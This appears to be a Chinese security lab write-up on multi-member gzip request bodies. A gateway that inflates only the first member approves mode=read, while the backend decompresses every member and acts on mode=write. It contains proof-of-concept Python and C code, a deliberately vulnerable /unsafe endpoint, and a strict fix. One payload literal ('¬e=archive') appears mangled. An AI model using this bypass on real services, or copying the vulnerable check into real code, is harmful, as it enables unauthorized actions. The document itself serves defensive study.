多成员 gzip 请求体的解压范围错位
gzip 请求体可以由多个合法 member 直接拼接而成。入口组件只解开首 member,业务组件继续解开全部 member 时,同一条 HTTP 请求会产生两份参数视图。记录中的网关允许 mode=read,业务端却取得 mode=write;变化不在请求行、头字段或分帧位置,而在首 member trailer 之后的压缩字节。 一条请求在入口已经通过权限判断,到了业务代码却换了参数,这种现
第 44 个字节开始了第二份合法内容
RFC 1952 将 gzip 文件定义为连续 member 的序列。一个 member 由 10 字节固定头、压缩块和 8 字节 trailer 组成;trailer 依次保存 CRC32 与 ISIZE,二者都是小端整数。member 与 member 之间没有分隔符,前一个 trailer 结束的位置就是下一个 1f 8b 08 头开始的位置。
sudo apt update
sudo apt install -y python3 python3-venv
mkdir -p ~/gzip-member-drift-lab
cd ~/gzip-member-drift-lab
python3 --versiongzip-member-drift-lab/
├── member_layout.py
├── codec_probe.py
├── bytecode_probe.py
├── http_service.py
├── request_probe.py
└── evidence_report.pymember_layout.py
from __future__ import annotations
import gzip
import json
import struct
import zlib
from pathlib import Path
OUT = Path("records")
def member(data: bytes) -> bytes:
return gzip.compress(data, mtime=0)
def inspect(raw: bytes, offset: int) -> tuple[dict[str, object], int]:
stream = raw[offset:]
decoder = zlib.decompressobj(16 + zlib.MAX_WBITS)
plain = decoder.decompress(stream) + decoder.flush()
consumed = len(stream) - len(decoder.unused_data)
trailer = stream[consumed - 8:consumed]
crc32, isize = struct.unpack("<II", trailer)
record = {
"offset": offset,
"header_hex": stream[:10].hex(),
"compressed_length": consumed,
"trailer_offset": offset + consumed - 8,
"trailer_hex": trailer.hex(),
"crc32": f"{crc32:08x}",
"crc32_matches": crc32 == (zlib.crc32(plain) & 0xFFFFFFFF),
"isize": isize,
"plain_length": len(plain),
"isize_matches": isize == (len(plain) & 0xFFFFFFFF),
"plain": plain.decode("ascii"),
}
return record, offset + consumed
def main() -> None:
OUT.mkdir(exist_ok=True)
raw = member(b"mode=read&report=monthly") + member(b"&mode=write")
left, right_offset = inspect(raw, 0)
right, end_offset = inspect(raw, right_offset)
record = {"raw_length": len(raw), "members": [left, right], "end_offset": end_offset}
(OUT / "member_layout.json").write_text(json.dumps(record, ensure_ascii=False, indent=2), encoding="utf-8")
for index, item in enumerate(record["members"]):
print(
"member={} offset={} header={} compressed_length={} trailer_offset={} trailer={} crc32={} crc32_matches={} isize={} plain_length={} isize_matches={} plain={}".format(
index,
item["offset"],
item["header_hex"],
item["compressed_length"],
item["trailer_offset"],
item["trailer_hex"],
item["crc32"],
item["crc32_matches"],
item["isize"],
item["plain_length"],
item["isize_matches"],
item["plain"],
)
)
print(f"raw_length={record['raw_length']} end_offset={record['end_offset']}")
if __name__ == "__main__":
main()python3 member_layout.py
记录中的第一个 member 从偏移 0 开始,固定头为 1f8b08000000000002ff,压缩长度为 44。其 trailer 位于偏移 36,内容为 4a2bd5f918000000;小端解码后,CRC32 为 f9d52b4a,ISIZE 为 24。crc32_matches=True 与 isize_matches=True 表明这 24 字节明文已经以完整 member 的形式结束。
第二个 member 不是损坏尾巴。它从偏移 44 开始,头仍为 1f8b08,压缩长度为 31,trailer 位于偏移 67,CRC32 与 11 字节明文 &mode=write 相符。整个请求体长度为 75,两个 member 的长度相加正好到达 end_offset=75。首 member 完整、第二个 member 也完整,正是这种合法拼接让只检查首 member 的代码失去判断依据。
unused_data 保存了网关没有看的 31 字节
codec_probe.py
import gzip
import json
import zlib
from pathlib import Path
from urllib.parse import parse_qsl
ROOT = Path(__file__).resolve().parent
RECORDS = ROOT / "records"
def member(data: bytes) -> bytes:
return gzip.compress(data, mtime=0)
def first_member(data: bytes) -> tuple[bytes, int, bool]:
decoder = zlib.decompressobj(16 + zlib.MAX_WBITS)
plain = decoder.decompress(data) + decoder.flush()
return plain, len(decoder.unused_data), decoder.eof
def values(data: bytes) -> dict[str, str]:
return dict(parse_qsl(data.decode("ascii"), keep_blank_values=True))
def main() -> None:
RECORDS.mkdir(exist_ok=True)
left = member(b"mode=read&report=monthly")
right = member(b"&mode=write")
raw = left + right
first, unused_len, eof = first_member(raw)
full = gzip.decompress(raw)
record = {
"raw_hex_prefix": raw[:10].hex(),
"second_member_offset": len(left),
"second_member_magic": raw[len(left):len(left) + 3].hex(),
"first_member_plain": first.decode("ascii"),
"full_plain": full.decode("ascii"),
"first_values": values(first),
"full_values": values(full),
"unused_data_len": unused_len,
"eof": eof,
}
(RECORDS / "codec.json").write_text(json.dumps(record, ensure_ascii=False, indent=2), encoding="utf-8")
for key, value in record.items():
print(f"{key}={value}")
if __name__ == "__main__":
main()python3 codec_probe.py
zlib.decompressobj(16 + zlib.MAX_WBITS) 在这个调用中只推进到当前 gzip member 的结束位置。首 member 的 trailer 被读完后,解压器将未消费的输入保存在 unused_data。实测记录中 eof=True,同时 unused_data_len=31。eof 只说明当前 member 已经正常终止;它不表示整个请求体已经被消费。
首 member 的明文是 mode=read&report=monthly,first_values 中的 mode 为 read。gzip.decompress() 会继续读取第二个 member,完整明文变成 mode=read&report=monthly&mode=write。parse_qsl() 保留两个同名参数,dict() 按出现顺序写入键,后一个 mode=write 覆盖前一个 mode=read,full_values 因而取得 write。参数覆盖发生在解压之后,不在 gzip 头或 HTTP 字段中。
bytecode_probe.py
from __future__ import annotations
import dis
import json
from pathlib import Path
from http_service import first_member
OUT = Path("records")
def main() -> None:
OUT.mkdir(exist_ok=True)
rows = []
for instruction in dis.get_instructions(first_member):
row = {
"offset": instruction.offset,
"opname": instruction.opname,
"argval": instruction.argval,
"argrepr": instruction.argrepr,
}
rows.append(row)
print("offset={:03} opname={} argrepr={}".format(row["offset"], row["opname"], row["argrepr"]))
(OUT / "bytecode.json").write_text(json.dumps(rows, ensure_ascii=False, indent=2), encoding="utf-8")
if __name__ == "__main__":
main()python3 bytecode_probe.py
CPython 3.13.x 的指令记录没有隐藏第二次解压(3.12.3 的偏移略有不同,控制流一致,以下为本次复现实测)。偏移 000 到 086 取得 zlib.decompressobj 并把对象存入 decoder;偏移 088、112 完成 decoder.decompress(data);偏移 120、142 紧接着调用 decoder.flush()。unused_data 在偏移 166 才被读取,eof 在偏移 188 才被读取,偏移 210 直接 RETURN_VALUE。整段指令没有回跳,也没有把偏移 166 取得的字节重新传入 decoder.decompress()。因此 first_member() 的 Python 层控制流只消费一次输入缓冲,并把首 member 结束后已保存的两个状态属性原样带出。
真正决定 unused_data 内容的是 CPython 的 _zlib 扩展,不是 Python 字节码。3.12.3 的 compobject(3.13 中该结构一致,unused_data/eof 语义未变)同时持有 z_stream zst、PyObject *unused_data、PyObject *unconsumed_tail 和 char eof。inflate() 返回 Z_STREAM_END 后,save_unconsumed_input() 以 zst.next_in 为起点复制剩余输入到 unused_data,并将 zst.avail_in 清零;同一调用再把 eof 置为 1。第二个 gzip 头没有被当成格式错误,也没有被自动送入新的 inflate 状态,它只是作为 Python bytes 留在对象上。flush() 的候选输入来自 unconsumed_tail,不是 unused_data;本例未设置输出上限,unconsumed_tail 为空,因此 flush() 不会重新取得那 31 字节,也不会启动第二个 member 的解压。网关代码若没有显式检查 unused_data,就会把“当前流结束”的原生状态误当成“请求体结束”。
检查点和执行点没有解析同一份明文
http_service.py 保留了两个路径。/unsafe 用 first_member() 取得首 member 的参数,只要 mode=read 就进入业务路径;业务端随后调用 gzip.decompress(raw),再对完整明文取参。/strict 调用 one_member(),要求首 member 已结束且 unused_data 为空。
http_service.py
from __future__ import annotations
import gzip
import json
import os
import zlib
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from urllib.parse import parse_qsl
HOST = os.environ.get("HOST", "127.0.0.1")
PORT = int(os.environ.get("PORT", "18080"))
def first_member(data: bytes) -> tuple[bytes, bytes, bool]:
decoder = zlib.decompressobj(16 + zlib.MAX_WBITS)
plain = decoder.decompress(data) + decoder.flush()
return plain, decoder.unused_data, decoder.eof
def one_member(data: bytes) -> bytes:
plain, unused, eof = first_member(data)
if not eof:
raise ValueError("incomplete gzip member")
if unused:
raise ValueError(f"unexpected bytes after first gzip member: {len(unused)}")
return plain
def fields(data: bytes) -> tuple[list[tuple[str, str]], dict[str, str]]:
pairs = parse_qsl(data.decode("ascii"), keep_blank_values=True)
return pairs, dict(pairs)
class Handler(BaseHTTPRequestHandler):
def log_message(self, format: str, *args: object) -> None:
return
def reply(self, status: int, payload: dict[str, object]) -> None:
body = json.dumps(payload, sort_keys=True).encode("utf-8")
self.send_response(status)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def do_POST(self) -> None:
size = int(self.headers.get("Content-Length", "0"))
raw = self.rfile.read(size)
if self.headers.get("Content-Encoding") != "gzip":
self.reply(415, {"error": "gzip required"})
return
if self.path == "/strict":
try:
plain = one_member(raw)
pairs, parsed = fields(plain)
self.reply(200, {"member_count": 1, "pairs": pairs, "mode": parsed.get("mode")})
except (ValueError, zlib.error, UnicodeDecodeError) as error:
self.reply(400, {"error": str(error)})
return
if self.path != "/unsafe":
self.reply(404, {"error": "unknown path"})
return
try:
gateway_plain, unused, eof = first_member(raw)
gateway_pairs, gateway = fields(gateway_plain)
if gateway.get("mode") != "read":
self.reply(403, {"gateway_mode": gateway.get("mode"), "reason": "mode denied"})
return
application_plain = gzip.decompress(raw)
application_pairs, application = fields(application_plain)
self.reply(
200,
{
"gateway_mode": gateway.get("mode"),
"gateway_pairs": gateway_pairs,
"first_member_eof": eof,
"remaining_compressed_bytes": len(unused),
"application_mode": application.get("mode"),
"application_pairs": application_pairs,
"action": application.get("mode"),
},
)
except (ValueError, zlib.error, UnicodeDecodeError) as error:
self.reply(400, {"error": str(error)})
def main() -> None:
server = ThreadingHTTPServer((HOST, PORT), Handler)
print(f"listening={HOST}:{PORT}", flush=True)
server.serve_forever()
if __name__ == "__main__":
main()python3 http_service.py
first_member() 的返回值把状态拆得很清楚。plain 是网关做策略判断的明文;unused 是首 member trailer 后未交给网关解析的压缩字节;eof 只反映首 member 完整性。unsafe 路径在 gateway.get("mode") 与 application.get("mode") 之间换了解压范围,两个变量的来源从这一行开始分离。
request_probe.py
from __future__ import annotations
import gzip
import http.client
import json
import os
from pathlib import Path
HOST = os.environ.get("HOST", "127.0.0.1")
PORT = int(os.environ.get("PORT", "18080"))
OUT = Path("records")
def member(data: bytes) -> bytes:
return gzip.compress(data, mtime=0)
def request(path: str, body: bytes) -> tuple[int, dict[str, object]]:
connection = http.client.HTTPConnection(HOST, PORT, timeout=10)
connection.request(
"POST",
path,
body=body,
headers={"Content-Encoding": "gzip", "Content-Type": "application/x-www-form-urlencoded"},
)
response = connection.getresponse()
payload = json.loads(response.read().decode("utf-8"))
connection.close()
return response.status, payload
def emit(name: str, path: str, body: bytes) -> None:
status, payload = request(path, body)
record = {
"name": name,
"path": path,
"compressed_length": len(body),
"gzip_magic_offsets": [offset for offset in range(len(body) - 2) if body[offset:offset + 3] == b"\x1f\x8b\x08"],
"status": status,
"response": payload,
}
OUT.mkdir(exist_ok=True)
(OUT / f"{name}.json").write_text(json.dumps(record, ensure_ascii=False, indent=2), encoding="utf-8")
print(f"name={name} status={status} magic_offsets={record['gzip_magic_offsets']} response={payload}")
def main() -> None:
single = member(b"mode=read&report=monthly")
extension = single + member(b"¬e=archive")
multi = single + member(b"&mode=write")
corrupt = bytearray(single)
corrupt[-8] ^= 1
emit("unsafe_single", "/unsafe", single)
emit("unsafe_extension", "/unsafe", extension)
emit("unsafe_multi", "/unsafe", multi)
emit("strict_single", "/strict", single)
emit("strict_extension", "/strict", extension)
emit("strict_multi", "/strict", multi)
emit("strict_corrupt", "/strict", bytes(corrupt))
if __name__ == "__main__":
main()python3 request_probe.py
unsafe_single 的 magic_offsets 为 [0],响应中 gateway_mode、application_mode 与 action 均为 read,remaining_compressed_bytes=0。首 member 与完整解压结果相同,检查点和执行点使用的是同一份内容。
unsafe_extension 的 magic_offsets 为 [0, 44],第二个 member 解压出 note=archive。网关仍取到 read,应用端的 application_pairs 多出 ['note', 'archive'],但 action 仍为 read。第二个 member 的存在本身不会必然改变业务动作;它先造成了解压范围不一致,只有追加内容触及策略参数时,分歧才变成执行偏移。
unsafe_multi 使用同样的双 member 布局,第二段改为 &mode=write。响应仍显示 gateway_mode=read 与 first_member_eof=True,却出现 application_mode=write、action=write 和 remaining_compressed_bytes=31。网关允许的是首 member 中的 read,业务端执行的是完整明文中的末个 write。这不是参数校验遗漏,而是校验和执行没有共享同一份解压结果。
action 被设计为窄化的分派字段,只反映应用最终采用的 mode。它将控制流的落点固定为可观测数据:网关判定来自 gateway_mode,分派来自 application_mode;多 member 覆盖请求中,两者取值不同。
真实组件验证:zlib inflate 只解首 member
前面用自建服务证明了机制。真实世界里,“流式首 member 解压”最典型的底层就是 zlib 的 inflate() —— nginx、Apache、curl 和大量 WAF 处理 gzip 时都链接它。inflate() 在 gzip 窗口(16 + MAX_WBITS)下,读完第一个 member 的 trailer 就返回 Z_STREAM_END,第二个 member 的字节原样留在 avail_in / next_in,不会自动继续。
先造一份双 member 请求体:
python3 -c "
import gzip
single = gzip.compress(b'mode=read&report=monthly', mtime=0)
multi = single + gzip.compress(b'&mode=write', mtime=0)
open('single.bin','wb').write(single)
open('multi.bin','wb').write(multi)
print('single_len=', len(single), ' multi_len=', len(multi))
"
与前面 member_layout 相同的 75 字节
zlib 网关源码(lab-real/zlib_gateway.c):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <zlib.h>
int main(void) {
unsigned char *raw = NULL;
size_t raw_len = 0, cap = 0;
int ch;
while ((ch = getchar()) != EOF) {
if (raw_len == cap) { cap = cap ? cap * 2 : 4096; raw = realloc(raw, cap); }
raw[raw_len++] = (unsigned char)ch;
}
if (!raw_len) { fprintf(stderr, "empty input\n"); return 2; }
z_stream zs;
memset(&zs, 0, sizeof(zs));
if (inflateInit2(&zs, 16 + MAX_WBITS) != Z_OK) { fprintf(stderr, "inflateInit2 failed\n"); return 2; }
unsigned char out[4096];
unsigned char *plain = NULL;
size_t plain_len = 0, plain_cap = 0;
zs.next_in = raw; zs.avail_in = (uInt)raw_len;
int ret = Z_OK;
do {
zs.next_out = out; zs.avail_out = sizeof(out);
ret = inflate(&zs, Z_NO_FLUSH);
if (ret != Z_OK && ret != Z_STREAM_END && ret != Z_BUF_ERROR) {
fprintf(stderr, "inflate error %d\n", ret); return 2;
}
size_t n = sizeof(out) - zs.avail_out;
if (n) {
plain = realloc(plain, plain_len + n + 1);
memcpy(plain + plain_len, out, n);
plain_len += n;
}
} while (ret != Z_STREAM_END && ret != Z_BUF_ERROR);
if (plain) plain[plain_len] = '\0';
printf("inflate_return=%s\n", ret == Z_STREAM_END ? "Z_STREAM_END" : "OTHER");
printf("gateway_first_member_plain=%s\n", plain ? (char *)plain : "(null)");
printf("gateway_first_member_len=%zu\n", plain_len);
printf("gateway_remaining_bytes=%u\n", zs.avail_in); /* 未消费 = 第二个 member */
printf("gateway_remaining_magic=%02x%02x%02x\n",
zs.avail_in >= 3 ? zs.next_in[0] : 0,
zs.avail_in >= 3 ? zs.next_in[1] : 0,
zs.avail_in >= 3 ? zs.next_in[2] : 0);
inflateEnd(&zs);
free(raw);
free(plain);
return 0;
}编译并运行:
gcc -O2 -o zlib_gateway zlib_gateway.c -lz
./zlib_gateway < multi.bin
zlib 在首 member 处停下:明文只有 mode=read,剩余 31 字节的第二个 member(魔数 1f8b08)原封不动。把同一份字节交给 Python 的 gzip.decompress()(全量解压):
python3 -c "
import gzip
from urllib.parse import parse_qsl
raw = open('multi.bin','rb').read()
full = gzip.decompress(raw)
print('full_plain=', full.decode())
print('application_mode=', dict(parse_qsl(full.decode(), keep_blank_values=True)).get('mode'))
" 
同一份网络字节,基于 zlib 的网关看到 mode=read,Python 后端执行 mode=write —— 错位在真实组件之间成立,不依赖自建服务。
反例,也是排查原则: OpenJDK 25 的 GZIPInputStream 实测会继续读完所有 member(首明文变成 mode=read&report=monthly&mode=write)。同样是“网关侧”,不同组件对多 member 的处理不同:zlib inflate() 只解首 member,新版 Java 全量解压。这解释了为什么排查时必须按实际组件验证,而不是想当然 —— 网关侧到底用哪种解压语义,决定了这套错位是否可被利用。
单 member 策略必须同时检查 trailer 与尾随字节
/strict 保留 zlib 对 CRC32 与 ISIZE 的处理,再对 unused_data 施加单 member 约束。正常单 member 请求返回 200。strict_extension 即使只追加 note=archive,仍以 400 拒绝并返回 unexpected bytes after first gzip member: 33;strict_multi 对覆盖参数的请求返回同类错误,长度为 31。
strict_corrupt 只修改了首 member trailer 中的一个 CRC32 字节,magic_offsets 仍为 [0],却返回 400 和 incorrect data check。这条对照区分了两个条件:CRC32、ISIZE 用来确认当前 member 没有损坏;unused_data 用来确认当前 member 之后没有第二份压缩内容。只检查其中一个条件,仍无法保证策略层和业务层面对同一份明文。
def one_member(data: bytes) -> bytes:
plain, unused, eof = first_member(data)
if not eof:
raise ValueError("incomplete gzip member")
+ if unused:
+ raise ValueError(f"unexpected bytes after first gzip member: {len(unused)}")
return plain服务确实需要允许多 member 时,不应继续沿用首 member 网关检查。解压应只发生一次,网关将完整明文或不可变解析对象交给业务端;参数解析也应只发生一次。单 member 策略适合多数压缩表单和 JSON 请求,允许多 member 的接口则需要在协议层明确约定并记录 member 数量与参数合并规则。
evidence_report.py
from __future__ import annotations
import json
from pathlib import Path
ROOT = Path("records")
NAMES = ("unsafe_single", "unsafe_extension", "unsafe_multi", "strict_single", "strict_extension", "strict_multi", "strict_corrupt")
def read(name: str) -> dict:
return json.loads((ROOT / f"{name}.json").read_text(encoding="utf-8"))
def main() -> None:
for name in NAMES:
row = read(name)
response = row["response"]
print(
"name={} status={} magic_offsets={} gateway_mode={} application_mode={} action={} remaining_compressed_bytes={} error={}".format(
name,
row["status"],
row["gzip_magic_offsets"],
response.get("gateway_mode"),
response.get("application_mode"),
response.get("action"),
response.get("remaining_compressed_bytes"),
response.get("error"),
)
)
if __name__ == "__main__":
main()python3 evidence_report.py
汇总输出将单 member、追加 member、覆盖 member 和损坏 trailer 收束为同一记录格式。unsafe_single 没有剩余压缩字节;unsafe_extension 留下 33 字节但业务动作不变;unsafe_multi 留下 31 字节并将动作改为 write。严格路径接受单 member,拒绝两种多 member 输入,同时拒绝 CRC32 已被修改的单 member。
检测逻辑需要同时保留两个可观测量。eof=True 而 unused_data 非空,表示首 member 完整但请求体尚未结束;首 member 与完整明文中同名参数的取值不一致,表示检查点和执行点已经落入不同的参数视图。前者应写入解压策略日志,后者应作为授权结果与业务参数不一致的安全告警。
Content-Encoding 不该制造两份业务请求体
实际服务中,错误经常出现在两个看似独立的优化点:入口网关为了检查压缩请求体单独创建解压器,应用框架为了绑定表单或 JSON 再做一次解压。前一个位置丢掉 unused_data,后一个位置读取所有 member,授权判断和业务执行便自然分开。
修复不需要改变 gzip 格式,也不需要禁止压缩请求。关键是确定解压责任归属。网关负责解压时,应把完整明文传给应用并禁止再次解压;应用负责解压时,网关不能在首 member 明文上做参数授权。无论选择哪种结构,member 数量、CRC32/ISIZE 校验结果、unused_data 长度和策略参数都应写入同一条请求记录。
多 member gzip 是合法容器结构,危险的是把“首 member 已结束”误当成“请求体已处理完”。当授权依据与业务参数来自不同的解压范围时,一个位于偏移 44 的 member 就足以改变请求的实际含义。
资料来源